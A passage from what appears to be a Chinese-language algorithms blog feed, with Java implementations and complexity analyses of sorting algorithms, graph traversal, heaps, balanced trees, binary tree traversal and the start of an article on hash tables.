    int mid = left + (right - left) / 2;
    mergeSort(arr, left, mid);
    mergeSort(arr, mid + 1, right);
    merge(arr, left, mid, right);
}

void merge(int[] arr, int left, int mid, int right) {
    int[] temp = new int[right - left + 1];
    int i = left, j = mid + 1, k = 0;
    
    while (i <= mid && j <= right) {
        if (arr[i] <= arr[j]) temp[k++] = arr[i++];
        else temp[k++] = arr[j++];
    }
    
    while (i <= mid) temp[k++] = arr[i++];
    while (j <= right) temp[k++] = arr[j++];
    
    System.arraycopy(temp, 0, arr, left, temp.length);
}

2.3 复杂度分析

情况时间复杂度空间复杂度
最好( O(n \log n) )( O(n) )
最坏( O(n \log n) )( O(n) )
平均( O(n \log n) )( O(n) )
稳定性稳定

2.4 稳定性证明

合并时取 <= 而非 <，保证相等元素先取左边的，相对位置不变。

三、快速排序

3.1 核心思想

选择一个基准值(pivot)，将数组分为两部分：小于pivot的放左边，大于的放右边，然后递归排序两部分。

3.2 基础实现

public void quickSort(int[] arr, int left, int right) {
    if (left >= right) return;
    
    int pivot = partition(arr, left, right);
    quickSort(arr, left, pivot - 1);
    quickSort(arr, pivot + 1, right);
}

int partition(int[] arr, int left, int right) {
    int pivot = arr[right];  // 选最后一个为基准
    int i = left;
    
    for (int j = left; j < right; j++) {
        if (arr[j] <= pivot) {
            swap(arr, i++, j);
        }
    }
    swap(arr, i, right);
    return i;
}

3.3 随机化优化

int partitionRandom(int[] arr, int left, int right) {
    int randomIdx = left + new Random().nextInt(right - left + 1);
    swap(arr, randomIdx, right);
    return partition(arr, left, right);
}

3.4 三数取中法

选择left、mid、right三个位置的中值作为pivot，避免极端情况。

3.5 双路快排（处理大量重复元素）

int partition2Way(int[] arr, int left, int right) {
    int pivot = arr[left];
    int i = left + 1, j = right;
    
    while (true) {
        while (i <= right && arr[i] < pivot) i++;
        while (j >= left + 1 && arr[j] > pivot) j--;
        if (i > j) break;
        swap(arr, i++, j--);
    }
    swap(arr, left, j);
    return j;
}

3.6 三路快排（大量重复元素最优）

void quickSort3Way(int[] arr, int left, int right) {
    if (left >= right) return;
    
    int pivot = arr[left];
    int lt = left, gt = right, i = left + 1;
    
    while (i <= gt) {
        if (arr[i] < pivot) swap(arr, i++, lt++);
        else if (arr[i] > pivot) swap(arr, i, gt--);
        else i++;
    }
    
    quickSort3Way(arr, left, lt - 1);
    quickSort3Way(arr, gt + 1, right);
}

3.7 复杂度分析

情况时间复杂度说明
最好( O(n \log n) )每次均匀划分
最坏( O(n^2) )已排序且选端点为pivot
平均( O(n \log n) )随机化后
空间( O(\log n) )递归栈
稳定性不稳定交换改变相对位置

四、归并 vs 快速排序

特性归并排序快速排序
最好时间( O(n \log n) )( O(n \log n) )
最坏时间( O(n \log n) )( O(n^2) )
平均时间( O(n \log n) )( O(n \log n) )
空间( O(n) )( O(\log n) )
稳定性稳定不稳定
适用链表排序、外部排序数组排序、通用
缓存友好一般较好

五、Java中的排序

// Arrays.sort() 对基本类型：Dual-Pivot Quicksort
// 对对象类型：Timsort（归并排序的优化版）
Arrays.sort(intArray);
Arrays.sort(objectArray);

// Collections.sort() 基于Timsort
Collections.sort(list);

对象类型用Timsort（稳定），基本类型用快排（更快，不稳定性无关）。

六、总结

归并排序和快速排序都是分治的经典应用。归并排序稳定且最坏情况有保证，但需要额外空间。快速排序原地排序、缓存友好，是实际中最常用的排序算法。理解两者差异，才能在不同场景做出正确选择。

]]> 算法 算法 排序 分治 排序算法插入与希尔 //sorting-insertion-shell/ 一、插入排序

1.1 核心思想

将元素逐个插入到已排序序列的合适位置，就像整理扑克牌。

1.2 实现

public void insertionSort(int[] arr) {
    for (int i = 1; i < arr.length; i++) {
        int key = arr[i];
        int j = i - 1;
        
        // 将大于key的元素后移
        while (j >= 0 && arr[j] > key) {
            arr[j + 1] = arr[j];
            j--;
        }
        arr[j + 1] = key;
    }
}

1.3 复杂度分析

情况时间复杂度说明
最好( O(n) )已排序，每次比较1次
最坏( O(n^2) )逆序
平均( O(n^2) )
空间( O(1) )
稳定性稳定

1.4 部分有序的优势

插入排序对部分有序数组非常高效：

  • 每个元素距离最终位置不远
  • 实际比较和移动次数远小于 ( O(n^2) )

1.5 二分优化

查找插入位置时使用二分查找：

public void binaryInsertionSort(int[] arr) {
    for (int i = 1; i < arr.length; i++) {
        int key = arr[i];
        int left = 0, right = i - 1;
        
        // 二分查找插入位置
        while (left <= right) {
            int mid = left + (right - left) / 2;
            if (arr[mid] > key) right = mid - 1;
            else left = mid + 1;
        }
        
        // 移动元素
        for (int j = i - 1; j >= left; j--) {
            arr[j + 1] = arr[j];
        }
        arr[left] = key;
    }
}

比较次数降为 ( O(n \log n) )，但移动仍是 ( O(n^2) )。

二、希尔排序

2.1 核心思想

插入排序的改进版。先让相距较远的元素有序，再逐步缩小间隔，最终间隔为1时就是普通插入排序。

2.2 为什么有效

  • 远距离交换让元素快速接近最终位置
  • 最后一步插入排序时，数组已基本有序

2.3 实现

public void shellSort(int[] arr) {
    int n = arr.length;
    
    // 增量序列：n/2, n/4, ..., 1
    for (int gap = n / 2; gap > 0; gap /= 2) {
        // 对每个子序列进行插入排序
        for (int i = gap; i < n; i++) {
            int key = arr[i];
            int j = i;
            
            while (j >= gap && arr[j - gap] > key) {
                arr[j] = arr[j - gap];
                j -= gap;
            }
            arr[j] = key;
        }
    }
}

2.4 增量序列

不同增量序列影响复杂度：

增量序列最坏复杂度
( n/2, n/4, … )( O(n^2) )
Hibbard: ( 2^k-1 )( O(n^{3/2}) )
Sedgewick( O(n^{4/3}) )

2.5 复杂度

情况时间复杂度
最好( O(n \log n) ) ~ ( O(n \log^2 n) )
最坏( O(n^2) ) ~ ( O(n^{4/3}) )
平均取决于增量序列
空间( O(1) )
稳定性不稳定

三、总结

特性插入排序希尔排序
最好时间( O(n) )( O(n \log n) )
最坏时间( O(n^2) )( O(n^2) ) ~ ( O(n^{4/3}) )
空间( O(1) )( O(1) )
稳定性稳定不稳定
适用小数据、部分有序中等数据

插入排序简单高效，尤其适合部分有序数据。希尔排序通过增量序列优化，是首个突破 ( O(n^2) ) 的排序算法，虽然不如快速排序常用，但在某些场景仍有价值。

]]> 算法 算法 排序 排序算法冒泡与选择 //sorting-bubble-selection/ 一、排序算法概述

1.1 评价维度

  • 时间复杂度：最好、最坏、平均
  • 空间复杂度：原地排序 vs 需要额外空间
  • 稳定性：相等元素排序后相对位置是否改变
  • 比较次数、交换次数

1.2 分类

类型算法
( O(n^2) )冒泡、选择、插入
( O(n \log n) )快速、归并、堆
( O(n) )计数、基数、桶

二、冒泡排序

2.1 核心思想

重复遍历数组，相邻元素两两比较，大的往后”冒泡”。

2.2 基础实现

public void bubbleSort(int[] arr) {
    int n = arr.length;
    for (int i = 0; i < n - 1; i++) {
        for (int j = 0; j < n - 1 - i; j++) {
            if (arr[j] > arr[j + 1]) {
                swap(arr, j, j + 1);
            }
        }
    }
}

2.3 优化版 - 提前终止

public void bubbleSortOptimized(int[] arr) {
    int n = arr.length;
    for (int i = 0; i < n - 1; i++) {
        boolean swapped = false;
        for (int j = 0; j < n - 1 - i; j++) {
            if (arr[j] > arr[j + 1]) {
                swap(arr, j, j + 1);
                swapped = true;
            }
        }
        if (!swapped) break;  // 无交换说明已排序
    }
}

2.4 进一步优化 - 记录最后交换位置

public void bubbleSortAdvanced(int[] arr) {
    int n = arr.length;
    int sortedBoundary = n - 1;
    
    while (sortedBoundary > 0) {
        int lastSwap = 0;
        for (int j = 0; j < sortedBoundary; j++) {
            if (arr[j] > arr[j + 1]) {
                swap(arr, j, j + 1);
                lastSwap = j;
            }
        }
        sortedBoundary = lastSwap;
    }
}

2.5 复杂度分析

情况时间复杂度说明
最好( O(n) )已排序，优化版一次遍历
最坏( O(n^2) )逆序
平均( O(n^2) )
空间( O(1) )原地排序
稳定性稳定相等不交换

三、选择排序

3.1 核心思想

每轮选择剩余元素中最小（或最大）的，放到已排序序列末尾。

3.2 实现

public void selectionSort(int[] arr) {
    int n = arr.length;
    for (int i = 0; i < n - 1; i++) {
        int minIdx = i;
        for (int j = i + 1; j < n; j++) {
            if (arr[j] < arr[minIdx]) {
                minIdx = j;
            }
        }
        if (minIdx != i) {
            swap(arr, i, minIdx);
        }
    }
}

3.3 复杂度分析

情况时间复杂度说明
最好( O(n^2) )仍需比较
最坏( O(n^2) )
平均( O(n^2) )
空间( O(1) )原地排序
稳定性不稳定交换可能改变相对位置

不稳定性示例：

[5a, 8, 5b, 2] → 选择2和5a交换
[2, 8, 5b, 5a] → 5a和5b相对位置改变

3.4 交换次数优势

选择排序最多 ( n - 1 ) 次交换，适合交换成本高的场景（如链表）。

四、两种算法对比

特性冒泡排序选择排序
最好时间( O(n) )( O(n^2) )
最坏时间( O(n^2) )( O(n^2) )
平均时间( O(n^2) )( O(n^2) )
空间( O(1) )( O(1) )
稳定性稳定不稳定
交换次数多少
适用小数据、基本有序交换成本高

五、总结

冒泡排序和选择排序都是 ( O(n^2) ) 的基础排序。冒泡排序通过优化可以在基本有序时达到 ( O(n) )，但交换次数多。选择排序交换次数最少，但不稳定。两者都只适合教学和小规模数据，实际中通常使用 ( O(n \log n) ) 的排序算法。

]]> 算法 算法 排序 图的基本表示与遍历 //graph-representation-traversal/ 一、图的基本概念

1.1 定义

图 ( G = (V, E) )，由顶点集 ( V ) 和边集 ( E ) 组成。

1.2 分类

类型特性
有向图边有方向
无向图边无方向
加权图边有权重
无权图边无权重

二、图的表示

2.1 邻接矩阵

( n \times n ) 矩阵，( adj[i][j] = 1 ) 表示 ( i ) 到 ( j ) 有边。

int[][] adj = new int[n][n];
adj[u][v] = 1;  // u -> v 有边

优点：( O(1) ) 判断边是否存在
缺点：空间 ( O(n^2) )，稀疏图浪费

2.2 邻接表

每个顶点维护一个邻接顶点列表。

List<Integer>[] adj = new ArrayList[n];
for (int i = 0; i < n; i++) adj[i] = new ArrayList<>();
adj[u].add(v);  // u -> v

优点：空间 ( O(V + E) )，适合稀疏图
缺点：判断边是否存在需遍历

三、深度优先搜索(DFS)

3.1 思想

沿着一条路径走到底，回溯后再走其他路径。

3.2 递归实现

boolean[] visited;

void dfs(int v, List<Integer>[] adj) {
    visited[v] = true;
    System.out.println(v);
    
    for (int u : adj[v]) {
        if (!visited[u]) {
            dfs(u, adj);
        }
    }
}

3.3 迭代实现

void dfsIterative(int start, List<Integer>[] adj) {
    boolean[] visited = new boolean[adj.length];
    Deque<Integer> stack = new ArrayDeque<>();
    stack.push(start);
    
    while (!stack.isEmpty()) {
        int v = stack.pop();
        if (visited[v]) continue;
        visited[v] = true;
        System.out.println(v);
        
        for (int u : adj[v]) {
            if (!visited[u]) stack.push(u);
        }
    }
}

3.4 DFS应用

  • 连通分量：统计图中的连通块
  • 拓扑排序：检测有向环
  • 路径搜索：找两点间路径

四、广度优先搜索(BFS)

4.1 思想

按层遍历，先访问所有邻居，再访问邻居的邻居。

4.2 实现

void bfs(int start, List<Integer>[] adj) {
    boolean[] visited = new boolean[adj.length];
    Queue<Integer> queue = new LinkedList<>();
    
    visited[start] = true;
    queue.offer(start);
    
    while (!queue.isEmpty()) {
        int v = queue.poll();
        System.out.println(v);
        
        for (int u : adj[v]) {
            if (!visited[u]) {
                visited[u] = true;
                queue.offer(u);
            }
        }
    }
}

4.3 BFS应用

  • 最短路径：无权图的最短路径
  • 层级遍历：社交网络中的”几度好友”

4.4 最短路径示例

public int shortestPath(List<Integer>[] adj, int start, int end) {
    boolean[] visited = new boolean[adj.length];
    Queue<int[]> queue = new LinkedList<>();  // [node, distance]
    queue.offer(new int[]{start, 0});
    visited[start] = true;
    
    while (!queue.isEmpty()) {
        int[] curr = queue.poll();
        int v = curr[0], dist = curr[1];
        
        if (v == end) return dist;
        
        for (int u : adj[v]) {
            if (!visited[u]) {
                visited[u] = true;
                queue.offer(new int[]{u, dist + 1});
            }
        }
    }
    return -1;  // 不可达
}

五、DFS vs BFS

特性DFSBFS
数据结构栈（递归/显式）队列
空间复杂度( O(h) )( O(w) )
最短路径不保证保证（无权图）
适用场景连通性、回溯、拓扑最短路径、层级
实现递归更简洁迭代更自然

( h ) = 树高/图深度，( w ) = 最大宽度

六、图的环检测

6.1 无向图 - DFS

boolean hasCycle(int v, int parent, List<Integer>[] adj, boolean[] visited) {
    visited[v] = true;
    for (int u : adj[v]) {
        if (!visited[u]) {
            if (hasCycle(u, v, adj, visited)) return true;
        } else if (u != parent) {
            return true;  // 遇到已访问且不是父节点
        }
    }
    return false;
}

6.2 有向图 - 三色标记法

// 0: 未访问, 1: 访问中, 2: 已访问
int[] state;

boolean hasCycleDirected(int v, List<Integer>[] adj) {
    if (state[v] == 1) return true;   // 遇到访问中的节点，有环
    if (state[v] == 2) return false;  // 已访问过，无环
    
    state[v] = 1;  // 标记为访问中
    for (int u : adj[v]) {
        if (hasCycleDirected(u, adj)) return true;
    }
    state[v] = 2;  // 标记为已访问
    return false;
}

七、总结

图是表达复杂关系的数据结构，邻接表是稀疏图的首选表示。DFS适合探索路径和连通性，BFS适合找最短路径。理解这两种遍历方式，是学习图算法的基础。

]]> 算法 算法 图 DFS BFS 堆与优先队列实现 //heap-priority-queue/ 一、堆的定义

1.1 堆的性质

堆是完全二叉树，满足堆序性质：

  • 大顶堆：父节点 ≥ 子节点
  • 小顶堆：父节点 ≤ 子节点

1.2 数组存储

利用完全二叉树特性，用数组存储：

索引i的节点：
- 父节点：(i - 1) / 2
- 左子节点：2i + 1
- 右子节点：2i + 2
        10
       /  \
      8    7
     / \   / \
    5   6 4   3

数组: [10, 8, 7, 5, 6, 4, 3]

二、堆的核心操作

2.1 上浮(Sift Up)

新元素插入末尾，与父节点比较，不满足堆序则交换。

void siftUp(int[] heap, int i) {
    while (i > 0) {
        int parent = (i - 1) / 2;
        if (heap[parent] >= heap[i]) break;  // 大顶堆
        swap(heap, i, parent);
        i = parent;
    }
}

时间复杂度：( O(\log n) )

2.2 下沉(Sift Down)

堆顶元素移除后，末尾元素放堆顶，与子节点比较交换。

void siftDown(int[] heap, int n, int i) {
    while (true) {
        int largest = i;
        int left = 2 * i + 1;
        int right = 2 * i + 2;
        
        if (left < n && heap[left] > heap[largest]) largest = left;
        if (right < n && heap[right] > heap[largest]) largest = right;
        
        if (largest == i) break;
        swap(heap, i, largest);
        i = largest;
    }
}

时间复杂度：( O(\log n) )

2.3 建堆(Heapify)

从最后一个非叶子节点开始下沉：

void buildHeap(int[] arr) {
    int n = arr.length;
    for (int i = n / 2 - 1; i >= 0; i--) {
        siftDown(arr, n, i);
    }
}

时间复杂度：( O(n) )（不是 ( O(n \log n) )）

证明：高度为 ( h ) 的节点最多有 ( \lceil n / 2^{h+1} \rceil ) 个，每个下沉 ( O(h) )。
[ \sum_{h=0}^{\log n} \frac{n}{2^{h+1}} \cdot h = O(n) ]

三、堆排序

void heapSort(int[] arr) {
    buildHeap(arr);  // 建大顶堆
    
    for (int i = arr.length - 1; i > 0; i--) {
        swap(arr, 0, i);      // 堆顶放末尾
        siftDown(arr, i, 0);  // 剩余元素重新堆化
    }
}

时间复杂度：( O(n \log n) )
空间复杂度：( O(1) )

四、优先队列

4.1 接口定义

interface PriorityQueue<T> {
    void offer(T element);   // 入队 O(log n)
    T poll();                // 出队（优先级最高）O(log n)
    T peek();                // 查看队首 O(1)
}

4.2 Java PriorityQueue

// 小顶堆（默认）
PriorityQueue<Integer> pq = new PriorityQueue<>();

// 大顶堆
PriorityQueue<Integer> pq = new PriorityQueue<>(Collections.reverseOrder());

// 自定义比较器
PriorityQueue<Task> pq = new PriorityQueue<>(
    Comparator.comparingInt(t -> t.priority)
);

4.3 底层实现

Java PriorityQueue 使用数组实现的二叉堆：

transient Object[] queue;  // 堆数组
int size;                   // 元素数量
Comparator<? super E> comparator;

五、经典应用场景

5.1 Top K问题

求数组中第K大元素：

public int findKthLargest(int[] nums, int k) {
    // 小顶堆，维护K个最大元素
    PriorityQueue<Integer> pq = new PriorityQueue<>(k);
    for (int num : nums) {
        pq.offer(num);
        if (pq.size() > k) pq.poll();
    }
    return pq.peek();
}

时间复杂度：( O(n \log k) )

5.2 合并K个有序数组

public int[] mergeKLists(int[][] lists) {
    PriorityQueue<int[]> pq = new PriorityQueue<>(Comparator.comparingInt(a -> a[0]));
    
    // 每个数组的当前元素入堆
    for (int i = 0; i < lists.length; i++) {
        if (lists[i].length > 0) {
            pq.offer(new int[]{lists[i][0], i, 0});
        }
    }
    
    List<Integer> res = new ArrayList<>();
    while (!pq.isEmpty()) {
        int[] curr = pq.poll();
        res.add(curr[0]);
        int arrIdx = curr[1], elemIdx = curr[2];
        if (elemIdx + 1 < lists[arrIdx].length) {
            pq.offer(new int[]{lists[arrIdx][elemIdx + 1], arrIdx, elemIdx + 1});
        }
    }
    return res.stream().mapToInt(i -> i).toArray();
}

5.3 滑动窗口中位数

使用两个堆（大顶堆+小顶堆）维护动态数据流的中位数。

六、总结

操作时间复杂度
插入( O(\log n) )
删除堆顶( O(\log n) )
查看堆顶( O(1) )
建堆( O(n) )
堆排序( O(n \log n) )

堆是用数组实现的完全二叉树，通过上浮和下沉操作维护堆序性质。优先队列是堆的典型应用，在TopK、调度、合并等问题中非常高效。

]]> 算法 算法 堆 优先队列 AVL树与红黑树对比 //avl-vs-red-black-tree/ 一、AVL树回顾

1.1 严格平衡

AVL树要求任何节点的左右子树高度差不超过1。

1.2 树高上限

[ h \leq 1.44 \log_2(n+2) - 0.328 ]

最多比完全二叉树高约44%。

二、红黑树(Red-Black Tree)

2.1 定义与性质

  1. 每个节点是红色或黑色
  2. 根节点是黑色
  3. 所有叶子(NIL)是黑色
  4. 红色节点的子节点必须是黑色（无连续红节点）
  5. 从任一节点到其叶子的所有路径包含相同数目的黑色节点

2.2 树高上限

[ h \leq 2 \log_2(n+1) ]

最长路径不超过最短路径的2倍。

三、核心对比

3.1 平衡严格性

特性AVL树红黑树
平衡条件高度差 ≤ 1黑高相同，最长 ≤ 2×最短
树高≤ 1.44 log n≤ 2 log n
查询效率更快（树更矮）稍慢

3.2 旋转开销

操作AVL树红黑树
查找( O(\log n) )( O(\log n) )
插入( O(\log n) )，最多2次旋转( O(\log n) )，最多2次旋转
删除( O(\log n) )，最多 ( O(\log n) ) 次旋转( O(\log n) )，最多3次旋转

关键差异：

  • AVL删除可能需要回溯旋转到根
  • 红黑树旋转次数更稳定

3.3 实现复杂度

  • AVL：需要维护高度或平衡因子
  • 红黑树：需要维护颜色，逻辑更复杂

四、红黑树的平衡操作

4.1 插入平衡

新节点插入为红色（不违反黑高条件），然后修复可能的红红冲突。

情况分类：

  1. 叔叔是红色 → 变色
  2. 叔叔是黑色，且新节点与父节点同侧 → 旋转
  3. 叔叔是黑色，且新节点与父节点异侧 → 双旋

4.2 颜色翻转

  黑(B)              红(R)
 /   \      →       /   \
红(R) 红(R)        黑(B) 黑(B)

4.3 左旋右旋

与AVL类似，但旋转后需要调整颜色。

五、Java中的应用

5.1 TreeMap / TreeSet

基于红黑树实现。

TreeMap<Integer, String> map = new TreeMap<>();
// 插入、删除、查找都是 O(log n)

5.2 为什么选择红黑树

  • Java标准库选择红黑树：插入删除更稳定
  • Linux内核的CFS调度器也使用红黑树

六、选择指南

场景推荐
查询远多于增删AVL树
增删查频率相近红黑树
频繁删除红黑树
对常数敏感AVL树（树更矮）
实现复杂度敏感红黑树（插入删除更稳定）

七、总结

AVL树和红黑树都是自平衡BST，核心差异在于平衡的严格程度：

  • AVL更严格 → 查询快，但旋转多
  • 红黑树更宽松 → 旋转少，查询稍慢

实际中，由于旋转是常数时间，而查询更多见，两者性能差异不大。红黑树因插入删除更稳定，被更广泛采用。

]]> 算法 算法 二叉树 红黑树 二叉搜索树BST与平衡 //bst-binary-search-tree/ 一、二叉搜索树定义

1.1 核心性质

对于任意节点：

  • 左子树所有节点值 < 当前节点值
  • 右子树所有节点值 > 当前节点值
  • 左右子树也是二叉搜索树

1.2 中序遍历特性

BST的中序遍历结果是有序序列。

二、BST基本操作

2.1 查找

public TreeNode search(TreeNode root, int target) {
    TreeNode curr = root;
    while (curr != null) {
        if (curr.val == target) return curr;
        if (target < curr.val) curr = curr.left;
        else curr = curr.right;
    }
    return null;
}

时间复杂度：( O(h) )，( h ) 为树高

2.2 插入

public TreeNode insert(TreeNode root, int val) {
    if (root == null) return new TreeNode(val);
    if (val < root.val) {
        root.left = insert(root.left, val);
    } else if (val > root.val) {
        root.right = insert(root.right, val);
    }
    return root;
}

2.3 删除（最复杂）

三种情况：

  1. 叶子节点：直接删除
  2. 只有一个子节点：子节点替代
  3. 有两个子节点：找后继（右子树最小值）或前驱（左子树最大值）替代
public TreeNode delete(TreeNode root, int key) {
    if (root == null) return null;
    
    if (key < root.val) {
        root.left = delete(root.left, key);
    } else if (key > root.val) {
        root.right = delete(root.right, key);
    } else {
        // 找到要删除的节点
        if (root.left == null) return root.right;
        if (root.right == null) return root.left;
        
        // 两个子节点：找后继
        TreeNode minNode = findMin(root.right);
        root.val = minNode.val;
        root.right = delete(root.right, minNode.val);
    }
    return root;
}

TreeNode findMin(TreeNode node) {
    while (node.left != null) node = node.left;
    return node;
}

三、BST的问题 - 退化成链表

3.1 最坏情况

按顺序插入 1, 2, 3, 4, 5：

1
 \
  2
   \
    3
     \
      4
       \
        5

树高 = ( n )，查找退化为 ( O(n) )

3.2 平均情况

随机插入，期望树高 ( O(\log n) )

四、平衡二叉树

4.1 平衡因子

[ \text{平衡因子} = \text{左子树高度} - \text{右子树高度} ]

平衡二叉树要求：( |平衡因子| \leq 1 )

4.2 为什么需要平衡

保持树高 ( O(\log n) )，确保操作效率。

五、AVL树

5.1 定义

严格的平衡二叉树，任何节点的平衡因子绝对值不超过1。

5.2 旋转操作

左旋（右右情况）：

  y              x
 / \            / \
T1  x    →     y  T3
   / \        / \
  T2 T3      T1 T2

右旋（左左情况）：

    x           y
   / \         / \
  y  T3  →   T1  x
 / \            / \
T1 T2          T2 T3

左右旋（左右情况）：先左旋再右旋
右左旋（右左情况）：先右旋再左旋

5.3 旋转的Java实现

// 右旋
TreeNode rightRotate(TreeNode y) {
    TreeNode x = y.left;
    TreeNode T2 = x.right;
    
    x.right = y;
    y.left = T2;
    
    // 更新高度
    y.height = Math.max(height(y.left), height(y.right)) + 1;
    x.height = Math.max(height(x.left), height(x.right)) + 1;
    
    return x;
}

// 左旋
TreeNode leftRotate(TreeNode x) {
    TreeNode y = x.right;
    TreeNode T2 = y.left;
    
    y.left = x;
    x.right = T2;
    
    x.height = Math.max(height(x.left), height(x.right)) + 1;
    y.height = Math.max(height(y.left), height(y.right)) + 1;
    
    return y;
}

六、Treap - 树堆

6.1 核心思想

结合BST和堆：

  • 键值满足BST性质
  • 优先级满足堆性质（随机生成）

6.2 期望树高

由于优先级随机，期望树高 ( O(\log n) )。

七、总结

特性普通BSTAVL树
查找( O(h) )( O(\log n) )
插入( O(h) )( O(\log n) )
删除( O(h) )( O(\log n) )
平衡维护无旋转
实现复杂度简单较复杂
适用场景数据随机频繁增删查

BST的核心价值在于其有序性。理解平衡机制，才能在实际应用中选择或设计合适的数据结构。Java的TreeMap和TreeSet基于红黑树（另一种平衡树）实现。

]]> 算法 算法 二叉树 BST 二叉树遍历与递归思想 //binary-tree-traversal/ 一、二叉树基础

1.1 节点定义

class TreeNode {
    int val;
    TreeNode left;
    TreeNode right;
    TreeNode(int x) { val = x; }
}

1.2 二叉树类型

类型特性
满二叉树每个节点都有0或2个子节点
完全二叉树除最后一层外全满，最后一层左连续
二叉搜索树左 < 根 < 右
平衡二叉树任意节点左右高度差 ≤ 1

1.3 基本性质

  • 第 ( i ) 层最多 ( 2^{i-1} ) 个节点
  • 深度为 ( k ) 的树最多 ( 2^k - 1 ) 个节点
  • 叶子节点数 = 度为2的节点数 + 1

二、递归思想

2.1 递归三要素

  1. 终止条件：何时停止递归
  2. 递归函数：递归要做什么
  3. 递归公式：如何缩小问题规模

2.2 树问题的递归框架

void traverse(TreeNode root) {
    if (root == null) return;  // 终止条件
    
    // 前序位置：访问root
    traverse(root.left);       // 递归左子树
    // 中序位置
    traverse(root.right);      // 递归右子树
    // 后序位置
}

三、深度优先遍历(DFS)

3.1 前序遍历（根-左-右）

// 递归
public List<Integer> preorder(TreeNode root) {
    List<Integer> res = new ArrayList<>();
    helper(root, res);
    return res;
}

void helper(TreeNode node, List<Integer> res) {
    if (node == null) return;
    res.add(node.val);           // 访问根
    helper(node.left, res);      // 遍历左
    helper(node.right, res);     // 遍历右
}

// 迭代 - 使用栈
public List<Integer> preorderIterative(TreeNode root) {
    List<Integer> res = new ArrayList<>();
    Deque<TreeNode> stack = new ArrayDeque<>();
    if (root != null) stack.push(root);
    
    while (!stack.isEmpty()) {
        TreeNode node = stack.pop();
        res.add(node.val);
        if (node.right != null) stack.push(node.right);
        if (node.left != null) stack.push(node.left);
    }
    return res;
}

3.2 中序遍历（左-根-右）

// 递归
void inorder(TreeNode node, List<Integer> res) {
    if (node == null) return;
    inorder(node.left, res);
    res.add(node.val);
    inorder(node.right, res);
}

// 迭代
public List<Integer> inorderIterative(TreeNode root) {
    List<Integer> res = new ArrayList<>();
    Deque<TreeNode> stack = new ArrayDeque<>();
    TreeNode curr = root;
    
    while (curr != null || !stack.isEmpty()) {
        while (curr != null) {
            stack.push(curr);
            curr = curr.left;
        }
        curr = stack.pop();
        res.add(curr.val);
        curr = curr.right;
    }
    return res;
}

3.3 后序遍历（左-右-根）

// 递归
void postorder(TreeNode node, List<Integer> res) {
    if (node == null) return;
    postorder(node.left, res);
    postorder(node.right, res);
    res.add(node.val);
}

// 迭代（双栈法）
public List<Integer> postorderIterative(TreeNode root) {
    List<Integer> res = new ArrayList<>();
    Deque<TreeNode> stack1 = new ArrayDeque<>();
    Deque<TreeNode> stack2 = new ArrayDeque<>();
    if (root != null) stack1.push(root);
    
    while (!stack1.isEmpty()) {
        TreeNode node = stack1.pop();
        stack2.push(node);
        if (node.left != null) stack1.push(node.left);
        if (node.right != null) stack1.push(node.right);
    }
    while (!stack2.isEmpty()) {
        res.add(stack2.pop().val);
    }
    return res;
}

四、广度优先遍历(BFS)

4.1 层序遍历

public List<List<Integer>> levelOrder(TreeNode root) {
    List<List<Integer>> res = new ArrayList<>();
    if (root == null) return res;
    
    Queue<TreeNode> queue = new LinkedList<>();
    queue.offer(root);
    
    while (!queue.isEmpty()) {
        int size = queue.size();
        List<Integer> level = new ArrayList<>();
        for (int i = 0; i < size; i++) {
            TreeNode node = queue.poll();
            level.add(node.val);
            if (node.left != null) queue.offer(node.left);
            if (node.right != null) queue.offer(node.right);
        }
        res.add(level);
    }
    return res;
}

五、Morris遍历（常数空间）

5.1 核心思想

利用叶子节点的空指针，建立临时线索，实现 ( O(1) ) 空间遍历。

5.2 Morris中序遍历

public List<Integer> morrisInorder(TreeNode root) {
    List<Integer> res = new ArrayList<>();
    TreeNode curr = root;
    
    while (curr != null) {
        if (curr.left == null) {
            res.add(curr.val);
            curr = curr.right;
        } else {
            TreeNode predecessor = curr.left;
            while (predecessor.right != null && predecessor.right != curr) {
                predecessor = predecessor.right;
            }
            
            if (predecessor.right == null) {
                predecessor.right = curr;  // 建立线索
                curr = curr.left;
            } else {
                predecessor.right = null;  // 删除线索
                res.add(curr.val);
                curr = curr.right;
            }
        }
    }
    return res;
}

六、遍历的应用

6.1 中序遍历恢复BST

TreeNode prev = null;
TreeNode first = null, second = null;

void recoverBST(TreeNode root) {
    inorder(root);
    swap(first, second);
}

void inorder(TreeNode root) {
    if (root == null) return;
    inorder(root.left);
    if (prev != null && prev.val > root.val) {
        if (first == null) first = prev;
        second = root;
    }
    prev = root;
    inorder(root.right);
}

6.2 树的序列化与反序列化

// 前序序列化
String serialize(TreeNode root) {
    if (root == null) return "#,";
    return root.val + "," + serialize(root.left) + serialize(root.right);
}

TreeNode deserialize(String data) {
    String[] nodes = data.split(",");
    Queue<String> queue = new LinkedList<>(Arrays.asList(nodes));
    return build(queue);
}

TreeNode build(Queue<String> queue) {
    String val = queue.poll();
    if ("#".equals(val)) return null;
    TreeNode node = new TreeNode(Integer.parseInt(val));
    node.left = build(queue);
    node.right = build(queue);
    return node;
}

七、总结

遍历方式顺序典型应用
前序根-左-右复制树、序列化
中序左-根-右BST排序、恢复树
后序左-右-根计算高度、路径和
层序按层最短路径、连接节点

递归是树问题的天然解法，理解递归框架的「前序/中序/后序位置」概念，能系统解决大部分树问题。

]]> 算法 算法 二叉树 递归 哈希表原理与冲突解决 //hash-table-principle/ 一、哈希表概述

1.1 核心思想

哈希表通过哈希函数将键映射到数组索引，实现平均 ( O(1) ) 的查找、插入和删除。

键(key) → 哈希函数 → 索引(index) → 数组存储

1.2 理想情况

[ \text{index} = hash(key) % \text{array.length} ]

二、哈希函数

2.1 好的哈希函数标准

  1. 确定性：相同输入得到相同输出
  2. 均匀性：输出均匀分布，减少冲突
  3. 高效性：计算速度快

2.2 Java String的hashCode

public int hashCode() {
    int h = hash;
    if (h == 0 && value.length > 0) {
        for (int i = 0; i < value.length; i++) {
            h = 31 * h + value[i];  // 31是质数，可被优化为位运算
        }
        hash = h;
    }
    return h;
}

2.3 哈希值转索引

// Java 8之前
index = (hashCode) % table.length;

// Java 8优化：位运算替代取模（要求容量为2的幂）
index = (table.length - 1) & hash;

三、哈希冲突

3.1 什么是冲突

不同键通过哈希函数得到相同索引：
[ hash(k_1) % m = hash(k_2) % m ]

3.2 冲突解决方法

链地址法(Separate Chaining)

每个桶是一个链表，冲突元素链入链表。

索引:  [0]      [1]      [2]
      +----+   +----+   +----+
      |    |   | A  |-->| A' |-->null
      |    |   +----+   +----+
      |    |
      +----+

优点：

  • 实现简单
  • 容量可以无限增长

缺点：

  • 冲突严重时退化为链表 ( O(n) )

开放寻址法(Open Addressing)

冲突时探测下一个可用位置。

线性探测：
